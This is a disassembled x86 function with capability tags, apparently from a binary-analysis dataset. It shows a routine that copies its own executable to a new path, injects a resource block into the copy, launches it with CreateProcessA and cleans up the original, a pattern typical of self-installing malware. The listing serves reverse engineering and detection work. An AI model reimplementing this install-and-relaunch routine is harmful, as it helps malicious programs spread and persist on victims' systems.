Function at 0x402681
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
lea eax, [ebp - 0x20c]
push eax
call fcn.00401ff6
add esp, 4
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x104]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x4012bc
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x104
lea ecx, [ebp - 0x314]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x314]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402733
push 0
call fcn.00402396
add esp, 4
test eax, eax
je 0x40271d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.004016fa
add esp, 4
push 0x4012c8
push 4
call fcn.00401940
add esp, 8
jmp 0x402733
push 0x4012f4
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x402a17
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.0040201b
add esp, 8
test eax, eax
je 0x4027ac
cmp dword [ebp - 0x108], 0x10
jae 0x4027ac
push 0x401308
push 0
call fcn.00401940
add esp, 8
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
test eax, eax
je 0x4027ac
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.004016fa
add esp, 4
test eax, eax
jne 0x40279f
push 0x401320
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x402a17
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4027d4
lea ecx, [ebp - 0x104]
push ecx
call fcn.004018b4
add esp, 4
test eax, eax
jne 0x402a08
push 0
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4029f5
push 0x40133c
push 0
call fcn.00401940
add esp, 8
lea ecx, [ebp - 0x314]
push ecx
push 0
call fcn.00401940
add esp, 8
push 0
lea edx, [ebp - 0x104]
push edx
call fcn.00402cd6
add esp, 8
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x37c], 0
lea eax, [ebp - 0x37c]
push eax
push 0x400
push 0x4013f0
push 0xa
mov ecx, dword [ebp - 0x330]
push ecx
call fcn.00403f19
add esp, 0x14
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x380], 0
cmp dword [ebp - 0x37c], 0
je 0x4028ae
mov edx, dword [ebp - 0x37c]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp - 0x37c]
push ecx
mov edx, dword [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x380]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x4028c4
push 0x401348
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x402a17
push 1
mov ecx, dword [ebp - 0x330]
push ecx
call fcn.004041c4
add esp, 8
push 1
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0
jne 0x402909
push 0x401358
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x402a17
mov eax, dword [ebp - 0x37c]
push eax
mov ecx, dword [ebp - 0x380]
push ecx
push 0x400
push 0x4013f0
push 0xa
mov edx, dword [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
jne 0x40294a
push 0x401370
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x402a17
push 0
mov eax, dword [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
jne 0x402973
push 0x401384
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x402a17
push 0x10
push 0
lea ecx, [ebp - 0x324]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0x374]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x374], 0x44
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x374]
push ecx
lea edx, [ebp - 0x20c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x4029f3
push 0x401398
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x402a17
jmp 0x402a08
push 0x4013ac
push 4
call fcn.00401940
add esp, 8
xor eax, eax
jmp 0x402a17
lea ecx, [ebp - 0x314]
push ecx
call fcn.00402119
add esp, 4
mov esp, ebp
pop ebp
ret